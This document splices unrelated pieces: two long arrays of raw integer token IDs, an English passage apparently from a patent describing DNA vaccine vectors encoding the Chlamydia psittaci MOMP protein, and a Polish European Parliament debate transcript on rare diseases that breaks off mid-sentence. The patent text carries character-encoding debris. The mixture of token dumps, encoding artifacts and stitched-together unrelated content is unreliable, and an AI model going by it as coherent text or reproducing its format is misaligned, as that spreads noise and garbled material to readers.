10258, 302, 18398, 366, 5052, 323, 897, 347, 3609, 494, 9588, 15, 380, 11611, 285, 32242, 4507, 10087, 12425, 3425, 476, 320, 5611, 715, 247, 5628, 10546, 2971, 43735, 894, 1386, 970, 247, 10258, 302, 18398, 366, 5052, 14, 27676, 4972, 15, 3327, 566, 273, 253, 4972, 3882, 275, 13657, 1341, 476, 320, 5783, 407, 10586, 1783, 285, 3275, 273, 271, 5771, 3969, 281, 253, 11611, 12425, 3425, 476, 320, 5783, 407, 11442, 1783, 15, 329, 1180, 273, 643, 7470, 3167, 894, 3104, 7032, 273, 15324, 1076, 15282, 1966, 4324, 452, 644, 3715, 275, 253, 1445, 13, 285, 2486, 253, 45534, 894, 3104, 13, 33795, 1341, 13, 16203, 3691, 894, 3104, 13, 23124, 29846, 1341, 13, 3966, 15, 18299, 11390, 323, 841, 1341, 476, 2486, 2048, 1453, 6430, 13, 824, 347, 271, 6510, 273, 14970, 13, 247, 12634, 13, 271, 48060, 13, 285, 3309, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 15, 25585, 13004, 2048, 1453, 6430, 403, 28960, 6012, 432, 40523, 3608, 13, 17370, 1449, 13, 2006, 257, 22264, 13, 378, 729, 460, 17206, 408, 3691, 46269, 13, 3966, 15, 380, 11390, 4508, 253, 3882, 13288, 273, 1600, 476, 320, 9495, 715, 253, 3167, 894, 407, 973, 14, 4304, 3082, 13, 534, 6889, 7293, 327, 253, 1511, 273, 7842, 3167, 15, 1198, 1650, 13, 11672, 21437, 23879, 310, 7744, 12845, 323, 354, 76, 552, 3875, 1341, 13, 5727, 11672, 17016, 1971, 390, 1516, 1658, 7843, 778, 320, 908, 323, 643, 7842, 14516, 15, 187, 26149, 800, 11390, 323, 253, 2048, 273, 11611, 275, 21744, 1341, 13, 1110, 2074, 281, 1110, 3715, 323, 253, 2048, 273, 1966, 17356, 14, 2388, 1592, 251, 13, 4408, 26507, 1222, 2646, 35196, 13, 31301, 1076, 16090, 29136, 13, 21366, 378, 6581, 2553, 11611, 13, 25223, 35575, 249, 77, 13, 285, 26820, 15019, 2201, 5044, 2601, 13, 476, 320, 7091, 15, 3840, 13, 253, 4972, 476, 2486, 4554, 485, 9896, 22264, 313, 36420, 10, 12634, 6430, 285, 247, 3488, 12670, 16499, 2625, 2130, 323, 2048, 273, 13400, 3882, 84, 275, 21744, 1341, 15, 187, 510, 27320, 3527, 11390, 323, 15550, 2048, 275, 247, 41155, 894, 403, 7470, 323, 6380, 13, 390, 12762, 19, 89, 1438, 89, 26, 14340, 6840, 27320, 3527, 7096, 19, 89, 1438, 89, 26, 69, 13, 33145, 15, 2053, 476, 320, 8818, 970, 667, 273, 247, 5235, 273, 41155, 28960, 13, 11249, 671, 6289, 281, 347, 21693, 14, 20594, 9464, 16, 20099, 10545, 6430, 13, 1929, 275, 253, 1445, 15, 4214, 3082, 323, 253, 5140, 13, 3275, 285, 5286, 273, 27320, 3527, 21268, 403, 1929, 275, 253, 1445, 13, 299, 15, 72, 15, 657, 40836, 13, 7499, 285, 427, 9997, 332, 313, 12731, 10, 35412, 15, 12761, 4193, 311, 15, 3555, 15, 854, 27, 24854, 14, 30889, 15, 187, 6872, 27320, 3527, 11390, 19142, 27320, 9532, 326, 30333, 22573, 13, 891, 15, 70, 15, 403, 30333, 7939, 281, 247, 27320, 3527, 9706, 247, 353, 2277, 49, 36966, 15, 1198, 1650, 13, 281, 30333, 22573, 13, 891, 15, 70, 904, 1581, 253, 27320, 3527, 281, 320, 4469, 13, 253, 27320, 3527, 476, 2486, 13, 323, 1650, 13, 2048, 1453, 6430, 13, 824, 347, 247, 21693, 14, 20594, 9464, 16, 20099, 10545, 3425, 313, 681, 20733, 581, 390, 625, 273, 253, 1563, 27, 247, 12634, 13, 2380, 3284, 9, 84, 582, 271, 9347, 1080, 3425, 582, 271, 48060, 13, 285, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 40131, 3603, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 13, 512, 273, 534, 13, 2057, 3815, 390, 275, 13553, 13, 403, 7032, 273, 25091, 2048, 275, 253, 2303, 5893, 15, 25585, 13004, 2048, 1453, 6430, 403, 2266, 285, 16, 263, 49217, 21693, 14, 20594, 9464, 16, 20099, 10545, 6430, 824, 347, 1110, 6012, 432, 11937, 837, 41568, 3608, 13, 20143, 3608, 13, 48114, 3608, 13, 40523, 3608, 13, 4554, 485, 9896, 22264, 313, 36420, 582, 17370, 1449, 13, 416, 528, 45928, 6581, 13, 12067, 22264, 13, 21963, 46074, 3691, 6581, 13, 3966, 15, 380, 330, 15, 3714, 770, 26293, 353, 2277, 49, 14, 27676, 27320, 3527, 285, 2048, 1453, 6430, 403, 8818, 275, 247, 4972, 13, 824, 347, 247, 18242, 273, 10741, 6510, 13, 323, 5286, 281, 253, 2303, 5893, 15, 1707, 403, 7418, 29530, 1929, 281, 1110, 273, 9826, 10861, 275, 253, 1445, 4217, 323, 253, 3275, 273, 27320, 3527, 12538, 29530, 15, 329, 2173, 14704, 27532, 21031, 970, 253, 18242, 12762, 19, 89, 1438, 89, 26, 68, 5902, 8354, 20, 15, 18, 12, 7096, 19, 89, 1438, 89, 26, 69 ]	x9d of vectors being sufficient to induce an immune response. In a specific embodiment, the present invention provides a composition which is protective against a Chlamydia psittaci infection in animals, including avian species, comprising a plurality of nucleic acid expression vectors comprising a eukaryotic promoter functionally linked to a nucleic acid encoding the amino acid sequence set forth in SEQ ID NO:7 or SEQ ID NO:8 in a pharmaceutically acceptable carrier. In a further specific embodiment, the present invention provides a composition which is protective against Chlamydia psittaci infections in animals, including avian species, comprising a plurality of nucleic acid expression vectors comprising a eukaryotic promoter functionally linked to one or more nucleotide sequences selected from the group consisting of: SEQ ID NO:3, SEQ ID NO:4, SEQ ID NO:5 and SEQ ID NO:6 in a pharmaceutically acceptable carrier. In a specific embodiment, the nucleic acid expression vector comprises a cytomegalovirus promoter functionally linked to a nucleic acid encoding VD3 and VD4 of MOMP, for example having the nucleotide sequence set forth in either SEQ ID NO:3, SEQ ID NO:4, SEQ ID NO:5 or SEQ ID NO:6. Nucleic Acids/Vectors/Vaccines-general The nucleic acid encoding the MOMP polypeptide can be any nucleic acid that functionally encodes the MOMP polypeptide. For example, to functionally encode, i.e., allow the nucleic acid to be expressed, the nucleic acid can include, for example, expression control sequences, such as an origin of replication, a promoter, an enhancer, and necessary information processing sites, such as ribosome binding sites, RNA splice sites, polyadenylation sites, and transcriptional terminator sequences. Preferred expression control sequences are strong and/or inducible promoters such as those derived from metallothionine genes, actin genes, immunoglobulin genes, CMV, SV40, Rous sarcoma virus, adenovirus, bovine papilloma virus, etc. A nucleic acid encoding a selected MOMP polypeptide can readily be determined based upon the genetic code for the amino acid sequence of the selected MOMP polypeptide, and, clearly, many nucleic acids will encode any selected chimeric protein. Modifications to the nucleic acids of the invention are also contemplated, since mutations can thereby be studied for greater protective vaccine effect. Additionally, modifications that can be useful are modifications to the sequences controlling expression of the MOMP polypeptide to make production of the MOMP polypeptide inducible or repressible upon addition to the cells of the appropriate inducer or repressor. Such means are standard in the art (see, e.g.,. Sambrook et al., Molecular Cloning: A Laboratory Manual, 2nd Ed., Cold Spring Harbor Laboratory, Cold Spring Harbor, N.Y., 1989). The nucleic acids can be generated by means standard in the art, such as by recombinant nucleic acid techniques, as exemplified in the examples herein, and by synthetic nucleic acid synthesis or in vitro enzymatic synthesis. The expression vectors of the invention can be in a host capable of expressing the MOMP polypeptide immunogen or the MBP-MOMP fusion protein immunogen. There are numerous E. coli expression vectors known to one of ordinary skill in the art useful for the expression of the antigen. Other microbial hosts suitable for use include bacilli, such as Bacillus subtilus, and other enterobacteriaceae, such as Salmonella, Serratia, and various Pseudomonas species. In these prokaryotic hosts one can also make expression vectors, which will typically contain expression control sequences compatible with the host cell (e.g., an origin of replication). In addition, any number of a variety of well-known promoters will be present, such as the lactose promoter system, a tryptophan (Trp) promoter system, a beta-lactamase promoter system, or a promoter system from phage lambda. The promoters will typically control expression, optionally with an operator sequence, and have ribosome binding site sequences for example, for initiating and completing transcription and translation. If necessary an amino terminal methionine can be provided by insertion of a Met codon 5xe2x80x2 and in-frame with the antigen. Also, the carboxyl-terminal extension of the antigen can be removed using standard oligonucleotide mutagenesis procedures. Additionally, yeast expression systems can be used. There may be several advantages to yeast expression systems. First, evidence exists that proteins produced in a yeast secretion systems exhibit correct disulfide pairing. Second, post-translational glycosylation is efficiently carried out by yeast secretory systems. The Saccharomyces cerevisiae pre-pro-alpha-factor leader region (encoded by the MF xcex1-1 gene) is routinely used to direct protein secretion from yeast (Brake et al., 1984). The leader region of pre-pro-alpha-factor contains a signal peptide and a pro-segment which includes a recognition sequence for a yeast protease encoded by the KEX2 gene: this enzyme cleaves the precursor protein on the carboxyl side of a Lys-Arg dipeptide cleavage-signal sequence. The antigen coding sequence can be fused in-frame to the pre-pro-alpha-factor leader region. This construct is then put under the control of a strong transcription promoter, such as the alcohol dehydrogenase I promoter or a glycolytic promoter. The antigen coding sequence is followed by a translation termination codon which is followed by transcription termination signals. Alternatively, the antigen coding sequences can be fused to a second protein coding sequence, such as Sj26 or xcex2-galactosidase, used to facilitate purification of the fusion protein by affinity chromatography. The insertion of protease cleavage sites to separate the components of the fusion protein is applicable to constructs used for expression in yeast. Additionally, mammalian cells permit the expression of proteins in an environment that favors important post-translational modifications such as folding and cysteine pairing, addition of complex carbohydrate structures, and secretion of active protein. Vectors useful for the expression of antigen in mammalian cells are characterized by insertion of the antigen coding sequence between a strong viral promoter and a polyadenylation signal. The vectors can contain genes conferring either gentamicin or methotrexate resistance for use as selectable markers. The antigen and immunoreactive fragment coding sequence can be introduced into a Chinese hamster ovary cell line using a methotrexate resistance-encoding vector. Presence of the vector DNA in transformed cells can be confirmed by Southern analysis and production of an RNA corresponding to the antigen coding sequence can be confirmed by Northern analysis. A number of other suitable host cell lines capable of secreting intact human proteins have been developed in the art, and include the CHO cell lines, HeLa cells, myeloma cell lines, Jurkat cells, etc. Expression vectors for these cells can include expression control sequences, such as an origin of replication, a promoter, an enhancer, and necessary information processing sites, such as ribosome binding sites, RNA splice sites, polyadenylation sites, and transcriptional terminator sequences. Preferred expression control sequences are promoters derived from immunoglobulin genes, SV40, Adenovirus, Bovine Papilloma Virus, etc. The vectors containing the DNA segments of interest can be transferred into the host cell by well-known methods, which vary depending on the type of cellular host. For example, calcium chloride transfection is commonly utilized for prokaryotic cells, whereas calcium phosphate treatment or electroporation may be used for other cellular hosts. Alternative vectors for the expression of antigen in mammalian cells, those similar to those developed for the expression of human gamma-interferon, tissue plasminogen activator, clotting Factor VIII, hepatitis B virus surface antigen, protease Nexinl, and eosinophil major basic protein, can be employed. Further, the vector can include cytomegalovirus (CMV) promoter sequences and a polyadenylation signal available for expression of inserted DNAs in mammalian cells. The nucleic acid vectors for transient expression in a eukaryotic cell are suitable for genetic, or xe2x80x9cnaked nucleic acidxe2x80x9d, immunization. These can be constructed using any of a variety of eukaryotic promoters, herein also referred to as cis-acting transcription/translation regulatory sequences, known in the art. General methods for the construction, production and administration of nucleic acid vaccines are known in the art, e.g. Vogel, FR and N Sarver (1995) Clin. Microbiol. Rev. 8:406-410. These nucleic acid vectors comprise nucleic acids that functionally encode, i.e. are functionally linked to a nucleic acid encoding a MOMP polypeptide. For example, to functionally encode, i.e., allow the nucleic acid to be expressed, the nucleic acid can include, for example, expression control sequences, such as a cis-acting transcription/translation regulatory sequence (comprising one or more of the following: a promoter, response element(s), an initiator sequence), an enhancer, and information processing sites, such as ribosome binding sites, RNA splice sites, intron elements, polyadenylation sites, and transcriptional terminator sequences, all of which, either alone or in combinations, are capable of directing expression in the target animal. Preferred expression control sequences are strong and/or inducible cis-acting transcription/translation regulatory sequences such as those derived from metallothionine genes, actin genes, myosin genes, immunoglobulin genes, cytomegalovirus (CMV), SV40, Rous sarcoma virus, adenovirus, bovine papilloma virus, etc. The C. psittaci MOMP-encoding nucleic acid and expression control sequences are constructed in a vector, such as a plasmid of bacterial origin, for administration to the target animal. There are numerous plasmids known to those of ordinary skill in the art useful for the production of nucleic acid vaccine plasmids. A specific embodiment employs constructs using the plasmid xe2x80x9cpcDNA3.1+xe2x80x9d
[ 37136, 680, 7679, 36295, 270, 472, 8636, 15361, 1087, 3847, 38239, 570, 1629, 80, 12987, 5282, 571, 15, 411, 13332, 2721, 75, 15715, 257, 466, 25613, 391, 91, 886, 41338, 5172, 13448, 79, 9230, 13, 48689, 458, 68, 5282, 466, 7687, 1615, 8754, 39867, 27870, 5549, 1182, 284, 324, 29879, 513, 44827, 311, 2369, 26968, 258, 5744, 259, 10115, 280, 607, 268, 2040, 66, 8718, 250, 12040, 77, 531, 2184, 819, 48385, 391, 41338, 6421, 465, 43792, 39036, 15, 4591, 13448, 7876, 716, 2137, 3938, 74, 270, 10060, 69, 9230, 705, 7679, 79, 6035, 13, 1121, 319, 74, 324, 14743, 27870, 20244, 819, 3847, 75, 10060, 5297, 358, 819, 4337, 78, 7173, 319, 24130, 1684, 2040, 5985, 13, 1049, 293, 10441, 9230, 68, 1182, 274, 1370, 358, 258, 44446, 1684, 3178, 466, 513, 2963, 91, 21432, 7679, 3155, 7684, 1954, 67, 13, 21844, 10087, 14261, 90, 14617, 9230, 951, 30811, 1954, 67, 5030, 249, 1914, 1182, 21432, 9948, 441, 20257, 10060, 555, 15, 4591, 13448, 7876, 716, 2137, 3938, 74, 270, 10060, 69, 9230, 705, 7679, 79, 6035, 13, 270, 10060, 18367, 9623, 90, 36032, 965, 259, 759, 7679, 8311, 20244, 518, 916, 11413, 9948, 2578, 42756, 653, 376, 680, 38218, 16642, 13, 1182, 274, 1370, 358, 270, 472, 8636, 2963, 3847, 555, 939, 466, 15715, 23364, 75, 9230, 68, 819, 317, 10060, 3199, 66, 803, 35457, 6572, 29846, 437, 8901, 15, 399, 9877, 10060, 76, 10441, 10060, 1349, 20729, 296, 44217, 20244, 1484, 88, 356, 10060, 15, 187, 4604, 15949, 31178, 1452, 416, 447, 187, 12309, 466, 38790, 999, 351, 9335, 41338, 951, 2, 775, 68, 10060, 7360, 9877, 10060, 76, 11413, 9948, 13332, 91, 36812, 653, 376, 680, 38218, 1403, 951, 13, 3199, 86, 803, 7679, 319, 74, 6572, 29846, 437, 261, 319, 74, 13, 258, 5744, 5847, 23287, 258, 37136, 67, 317, 5282, 466, 5497, 75, 32844, 653, 1954, 129, 120, 79, 1914, 571, 15, 411, 5741, 7679, 312, 50242, 10060, 564, 26968, 819, 3847, 1615, 7679, 3155, 513, 11031, 891, 45439, 992, 80, 14261, 274, 7679, 312, 5549, 4274, 255, 10060, 1182, 295, 827, 928, 42686, 1121, 1954, 129, 120, 79, 1914, 9623, 15, 187, 56, 1140, 76, 29408, 803, 728, 5282, 571, 11031, 2963, 12040, 22084, 10060, 37184, 2184, 391, 91, 324, 42686, 30811, 706, 297, 13, 36223, 250, 278, 571, 7679, 312, 8718, 1370, 75, 10060, 20573, 11413, 9948, 259, 12980, 25362, 7679, 1105, 687, 13312, 1182, 18198, 43992, 7679, 358, 24520, 636, 261, 428, 19454, 75, 3319, 466, 2184, 331, 319, 274, 91, 656, 5282, 571, 19162, 75, 290, 18538, 48568, 1182, 10641, 1954, 5297, 7679, 312, 1484, 88, 356, 10060, 5549, 269, 21216, 13, 33604, 281, 7687, 13332, 13, 7687, 13124, 90, 1182, 1079, 13448, 90, 13, 39173, 259, 656, 23988, 1501, 1403, 303, 90, 594, 17782, 1684, 38852, 886, 32786, 10060, 259, 13332, 91, 3155, 33425, 571, 7679, 6451, 607, 5549, 391, 91, 886, 91, 19162, 75, 290, 18538, 13, 36223, 250, 7318, 7679, 70, 35983, 5173, 33078, 29879, 5173, 38435, 9230, 13448, 9230, 1182, 1501, 10060, 81, 358, 270, 2960, 20729, 13, 891, 259, 35457, 12040, 10633, 281, 44274, 91, 1362, 74, 7679, 13332, 91, 16753, 7679, 653, 376, 680, 38218, 1403, 6357, 13, 1182, 79, 317, 91, 10633, 17022, 76, 1221, 10633, 75, 830, 86, 7679, 10441, 9230, 68, 43681, 296, 819, 4337, 296, 1403, 279, 90, 819, 48385, 17644, 261, 75, 10060, 13, 187, 47, 827, 928, 4530, 8374, 91, 5830, 273, 11158, 391, 91, 324, 76, 469, 30811, 1954, 67, 259, 16288, 13448, 69, 1105, 465, 376, 7589, 891, 33971, 856, 84, 5282, 466, 946, 75, 267, 39660, 14617, 33841, 259, 728, 3847, 2963, 7318, 7679, 24130, 13124, 466, 37441, 1362, 74, 9230, 1182, 963, 348, 30811, 1954, 67, 1061, 31925, 819, 44109, 7679, 324, 726, 16853, 317, 8020, 13, 259, 36223, 250, 75, 45718, 32250, 570, 33425, 571, 7679, 24132, 5549, 18558, 68, 2721, 1559, 86, 19454, 75, 3319, 303, 25613, 36394, 88, 91, 3129, 10060, 69, 10633, 17022, 466, 14617, 570, 15, 30672, 5228, 1182, 30023, 79, 1105, 2636, 5616, 25613, 37949, 656, 17369, 466, 759, 7679, 10633, 4305, 2721, 75, 259, 728, 3847, 258, 963, 348, 30811, 706, 607, 13, 18198, 375, 76, 2814, 257, 466, 3457, 493, 90, 5985, 891, 1313, 351, 458, 68, 5282, 571, 13, 258, 5744, 14366, 406, 5282, 466, 19162, 75, 290, 18538, 891, 18119, 12591, 38781, 458, 793, 41338, 1121, 36332, 9230, 15, 187, 49, 6002, 493, 32444, 15715, 3847, 22084, 12040, 29408, 268, 1767, 24132, 258, 23284, 12935, 33425, 571, 35457, 20729, 891, 1442, 507, 319, 24132, 15, 6956, 13448, 965, 664, 11737, 256, 9230, 391, 1954, 13448, 570, 1121, 68, 5173, 13, 36223, 250, 4177, 43233, 1115, 478, 10441, 29829, 15, 187, 48, 1087, 1954, 14617, 3187, 316, 3847, 18198, 493, 10060, 16077, 757, 3155, 819, 48385, 33071, 10060, 3060, 75, 3319, 9230, 891, 1349, 20729, 296, 8754, 37441, 7679, 251, 49036, 3319, 466, 13, 34950, 80, 716, 13448, 27870, 3757, 9230, 9948, 513, 4470, 3155, 6078, 120, 47290, 615, 7679, 1442, 507, 319, 16642, 15, 45490, 79, 9230, 1182, 5497, 13448, 965, 680, 26968, 13, 36223, 376, 513, 1288, 2721, 30108, 69, 4019, 27870, 259, 259, 928, 86, 1349, 20729, 296, 88, 607, 37441, 7679, 251, 49036, 3319, 469, 13, 25613, 7832, 296, 680, 1345, 91, 2369, 14, 81, 610, 16526, 570, 15, 187, 47, 466, 13681, 11413, 7679, 357, 1105, 594, 17782, 13, 305, 6421, 67, 1105, 15361, 45718, 40529, 35457, 259, 963, 78, 278, 47688, 1026, 86, 258, 1182, 79, 317, 41338, 951, 78, 45718, 3178, 14353, 1442, 507, 319, 1105, 13, 36223, 250, 1182, 1403, 69, 9877, 10060, 14617, 14743, 465, 1301, 6451, 297, 691, 90, 16526, 1241, 42686, 13, 21814, 303, 39173, 308, 20255, 860, 6033, 359, 6743, 8020, 891, 308, 20255, 860, 25858, 359, 38996, 316, 7381, 75, 10060, 3847, 14617, 33841, 37441, 10060, 26968, 6512, 72, 2886, 15, 15543, 258, 8766, 15298, 2963, 40965, 10424, 35457, 7360, 680, 23287, 5524, 13448, 292, 5549, 3076, 16642, 295, 1952, 76, 39036, 15, 353, 18538, 74, 9230, 68, 5549, 10792, 1100, 466, 428, 5524, 13448, 292, 33078, 91, 22383, 14617, 1432, 1629, 409, 5134, 13, 391, 91, 10060, 563, 2145, 17069, 5549, 691, 90, 16526, 7896, 13, 259, 4474, 1954, 939, 6451, 86, 1182, 21814, 23611, 331, 28989, 7588, 13, 39173, 2456, 17069, 359, 6743, 8020, 891, 6879, 17069, 259, 427, 9623, 68, 18506, 15, 187, 12309, 466, 38790, 999, 351, 9335, 41338, 951, 2, 20361, 2204, 319, 10441, 9230, 68, 13, 5030, 9623, 21814, 27, 2301, 279, 90, 19454, 75, 3319, 469, 19162, 75, 290, 18538, 7181, 88, 10441, 9230, 13332, 2721, 33425, 571, 7679, 16642, 15, 411, 6836, 33425, 571, 7679, 16642, 25613, 15, 18668, 13332, 1182, 1079, 13448, 90, 13, 260, 3847, 15361, 270, 10060, 18367, 466, 281, 23530, 1362, 466, 465, 3165, 462, 268, 34549, 13448, 79, 3155, 28252, 33855, 2721, 20729, 15, 309, 480, 265, 35759, 2721, 23530, 2369, 27, 50242, 66, 20510, 6002, 360, 1914, 571, 9271, 3525, 7679, 18538, 891, 4281, 45725, 18538, 277, 4123, 13124, 90, 1684, 22771, 1684, 2040, 76, 10060, 1458, 15, 187, 41, 300, 1206, 438, 378, 5292, 254, 187, 88, 516, 1914, 14353, 50242, 90, 26745, 84, 16, 23502, 15, 428, 313, 2573, 10, 9251, 466, 38790, 999, 351, 9335, 41338, 951, 13, 3199, 466, 891, 3199, 319, 466, 2, 473, 68, 3847, 22084, 12040, 29408, 1684, 1321, 14743, 1827, 10060, 31204, 6711, 258, 601, 67, 297, 691, 5297, 9230, 13448, 7983, 391, 91, 324, 76, 23611, 30811, 706, 7588, 15, 45490, 40079, 1684, 2040, 4530, 1458, 25613, 1182, 1162, 90, 14617, 40775, 30304, 16853, 5261, 5282, 571, 4847, 307, 10633, 15361, 513, 819, 3847, 75, 10060, 14265, 15, 187, 47, 466, 259, 311, 2369, 9557, 35825, 6421, 38435, 10060, 336, 75, 259, 20932, 14617, 45955, 9948, 259, 13124, 466, 7915, 76, 316, 8020, 258, 963, 78, 13, 260, 3847, 5173, 28252, 90, 29408, 1182, 284, 7679, 814, 36295, 5549, 20244, 382, 79, 1914, 466, 13, 247, 260, 3847, 5173, 15361, 15, 427, 466, 259, 311, 2369, 37136, 88, 22771, 9948, 259, 13124, 466, 271, 74, 877, 414, 14617, 79, 3155, 13, 271, 74, 15695, 7679, 886, 27509, 3155, 295, 317, 1886, 18538, 5549, 12591, 91, 280, 18538, 13, 48689, 46520, 22084, 324, 297, 466, 30800, 30999, 319, 8952, 372, 951, 91, 75, 10060, 38790, 886, 27684, 7381, 803, 74, 324, 6451, 86, 15361, 365, 7679, 79, 2161, 2040, 40775, 277, 29879, 777, 66, 15, 1023, 282, 39745, 6362, 11949, 279, 18538, 14366, 7523, 7679, 19699, 259, 287, 893, 277, 4123, 15361, 1734, 14617, 79, 3155, 33425, 571, 35457, 20729, 15, 399, 77, 992, 80, 1948, 303, 90, 246, 10060, 1684, 2040, 76, 10060, 258, 5267, 91, 1028, 23287, 15, 427, 466, 259, 9207, 3178, 3847, 23530, 1362, 466, 441, 328, 9230, 9948, 1775, 80, 256, 7679, 319, 80, 346, 293, 303, 249, 317, 6362, 7521, 36223, 250, 1182, 373, 15701, 9230, 428, 820, 295, 1079, 13448, 90, 1182, 819, 44109, 287, 26968, 9230, 331, 88, 1321, 69, 9877, 9948, 428, 492, 9230, 5297, 269, 284, 3847, 91, 10441, 9230, 951, 78, 1484, 13448, 90, 5297, 358, 480, 10060, 3847, 4530, 15, 23161, 466, 268, 1118, 9230, 45524, 10060, 29408, 30108, 74, 7679, 33664, 963, 77, 7381, 13, 33604, 295, 30277, 7753, 9877, 7679, 19699, 9557, 396, 282, 39745, 6362, 11949, 279, 18538, 15, 2896, 7679, 33664, 391, 91, 886, 41338, 15361, 513, 1182, 79, 447, 1914, 571, 13, 305, 6421, 1615, 45718, 297, 79, 8960, 1684, 2040, 4530, 258, 5744, 1775, 31204, 656, 7679, 396, 282, 39745, 8020, 11949, 279, 18538, 278, 571, 47016, 27870, 21513, 9948, 465, 287, 5985, 358, 35978, 1024, 24130, 19454, 75, 3319, 47688, 1162, 90, 336, 15, 187, 13788, 303, 90, 331, 266, 319, 68, 8636, 38790, 886, 27684, 296, 1403, 23287, 27870, 7915, 76, 610, 1222, 317, 8020, 5549, 246, 282, 730, 1734, 14617, 79, 1105, 15, 12278, 2040, 76, 10060, 1458, 295, 1079, 13448, 90, 1182, 31587, 258, 5267, 91, 1028, 23287, 259, 7318, 39867, 26968, 15, 411, 38790, 886, 74, 939, 1105, 21721, 466, 13332, 4019, 50242, 66, 270, 10060, 18367, 466, 295, 10558, 1734, 1182, 14557, 12180, 305, 7679, 375, 11413, 9948, 20244, 258, 5267, 91, 1028, 257, 9623, 716, 2184, 653, 376, 680, 38218, 16642, 13, 13892, 80, 33604, 24056, 80, 2963, 91, 21432, 7679, 70, 3284, 90, 256, 9230, 1182, 615, 951, 69, 319, 24132, 2963, 3847, 555, 88, 570, 15, 187, 39164, 1639, 3348, 656, 187, 9, 19214, 10, 411, 653, 376, 680, 38218, 6451, 86, 3199, 66, 803, 35457, 6572, 29846, 437, 8901, 7687, 79, 447, 279, 80, 27870, 513, 256, 2721, 1747, 86, 295, 728, 1118, 9230, 45524, 10060, 9948, 259, 9207, 10060, 81, 10441, 9230, 951, 348, 259, 47148, 886, 29571, 607, 416, 5102, 13, 891, 1484, 8754, 13448, 312, 13, 33604, 256, 9230, 281, 1484, 88, 28720, 256, 7679, 316, 91, 570, 15, 2604, 3847, 8718, 1370, 8020, 33413, 312, 13, 33604, 25613, 358, 819, 27640, 251, 1279, 13, 33604, 259, 33425, 728, 38781, 466, 391, 91, 324, 76, 469, 30811, 1954, 67, 17022, 466, 14617, 570, 25613, 1629, 80, 636, 1362, 319, 1351, 30800, 75, 12040, 29408, 14756, 1213, 2421, 914, 2886, 3060, 75, 3319, 47688, 15, 427, 9623, 10633, 75, 271, 74, 259, 47148, 886, 257, 14353, 13, 271, 74, 259, 653, 376, 680, 38218, 6451, 86, 15361, 7360, 75, 10060, 936, 1565, 37577, 391, 91, 324, 76, 469, 30811, 1954, 67, 13, 36223, 250, 19422, 47016, 88, 47742, 513, 13332, 1182, 465, 43792, 18538, 33971, 88, 1944, 47742, 951, 348, 27870, 15, 187, 42, 21814, 13, 5549, 819, 44109, 7679, 324, 13, 7181, 88, 10441, 29829, 5030, 47290, 85, 26970, 129, 120, 663, 90, 428, 30811, 33664, 13, 36223, 376, 480, 265, 35759, 2721, 513, 295, 728, 17074, 66, 209, 976, 351, 9877, 35457, 20244, 7318, 7679, 49036, 280, 466, 13, 24007, 295, 9623, 267, 7318, 7679, 49036, 280, 466, 37136, 293, 303, 249, 319, 266, 9230, 5549, 716, 445, 466, 13124, 90, 13, 891, 36223, 376, 691, 886, 10633, 19422, 47016, 8754, 513, 13332, 259, 5744, 1182, 9425, 319, 9230, 5563, 8306, 75, 9230, 15, 187, 37675, 21814, 46666, 1182, 607, 351, 9877, 17022, 466, 14617, 2369, 42756, 7360, 75, 10060, 14265, 15361, 40965, 7679, 406, 27509, 3155, 33425, 571, 35457, 20729, 259, 830, 466, 18558, 14617, 909 ]	wywołuje bardzo nieprzyjemne skojarzenia. W naszej ocenie jest rzeczą ważną, aby leczenie odbywało się na zasadzie dobrowolności oraz w granicach prawa określonego przez rządy krajowe. Jeżeli te warunki będą spełnione, opowiadamy się za przyjęciem przedmiotowej poprawki, apelując zarazem o jej poparcie do pozostałych osób, ale fragment dotyczący chorób powinien zostać usunięty. Jeżeli te warunki będą spełnione, będziemy mogli w pełni zaakceptować treść sprawozdania, zarazem bardzo pozytywnie oceniając pracę pana posła Trakatellisa. Dziękuję państwu za uwagę. Frédérique Ries Panie przewodniczący! Chcę podziękować naszemu sprawozdawcy, panu posłowi Trakatellisowi, oraz prosić o wybaczenie mojego spóźnienia. Witałam grupę gości przybyłych do PE i dlatego dotarłam na debatę z niewielkim opóźnieniem. W trakcie posiedzenia PE poświęconego rzadkim chorobom, które miałam okazję organizować w ubiegłym roku z udziałem Eurordis - europejskiego stowarzyszenia pacjentów -, zwróciłam uwagę na fakt, że to od nas, od Europy zależy, jak wysoko postawimy sobie poprzeczkę w naszych działaniach na rzecz pacjentów, które całe swoje nadzieje wiążą z postępem badań, i właśnie to uczynił nasz poseł sprawozdawca, znacznie konkretniej formułując tekst przedstawiony przez Komisję, Niewielka liczba ofiar rzadkich chorób w każdym kraju i rozproszenie specjalistycznej wiedzy po całej Europie czynią z tych chorób par excellence przykład sytuacji, w której wspólne działanie na szczeblu europejskim jest bezwzględnie konieczne. Naszym zgodnym celem jest uzyskanie pełniejszej wiedzy o tych chorobach, udoskonalenie diagnostyki i metod leczenia, oraz otoczenie pacjentów i ich rodzin lepszą opieką. Pozostaje oczywiście pytanie o harmonogram działań i finansowanie. Możliwe tu są różne opcje, które starannie analizujemy. Oprócz funduszy udostępnianych przez Unię Europejską i państwa członkowskie, warto też sięgnąć do innych źródeł finansowania. Jedną z możliwości, która dobrze sprawdza się w wielu państwach członkowskich, jest partnerstwo publiczno-prywatne. Nie darowałabym sobie, gdybym nie wspomniała w tym miejscu o znaczącym wsparciu finansowym, które zawdzięczamy kampaniom obywatelskim, takim jak Téléthon we Francji i Télévie we francuskojęzycznej części Belgii. Ta ostatnia pozwoliła podwoić budżet na badania naukowe. Mówiąc na marginesie - budżet nadzwyczaj skromny, rzędu 13 euro na obywatela, w porównaniu z takimi stawkami, jak 50 euro we Francji i 75 euro w Niemczech. Panie przewodniczący! Podsumowując, powiem tak: miliony europejskich pacjentów obserwują nasze działania. Wola działania jest. Od nas zależy, czy nie będzie to jedynie katalog pobożnych życzeń. I jeszcze jedno: grupa Porozumienia Liberałów i Demokratów dla Europy popiera poprawkę 15. Hiltrud Breyer w imieniu grupy Verts/ALE. - (DE) Panie przewodniczący, panie i panowie! Oczywiście popieramy ideę pomocy osobom obciążonym rzadkimi chorobami. Jednak poprawka 15 jest z etycznego punktu widzenia absolutnie nie do przyjęcia. Nie wolno nam nigdy więcej wszczynać w Europie dyskusji o tym, czyje życie zasługuje na zaistnienie, a 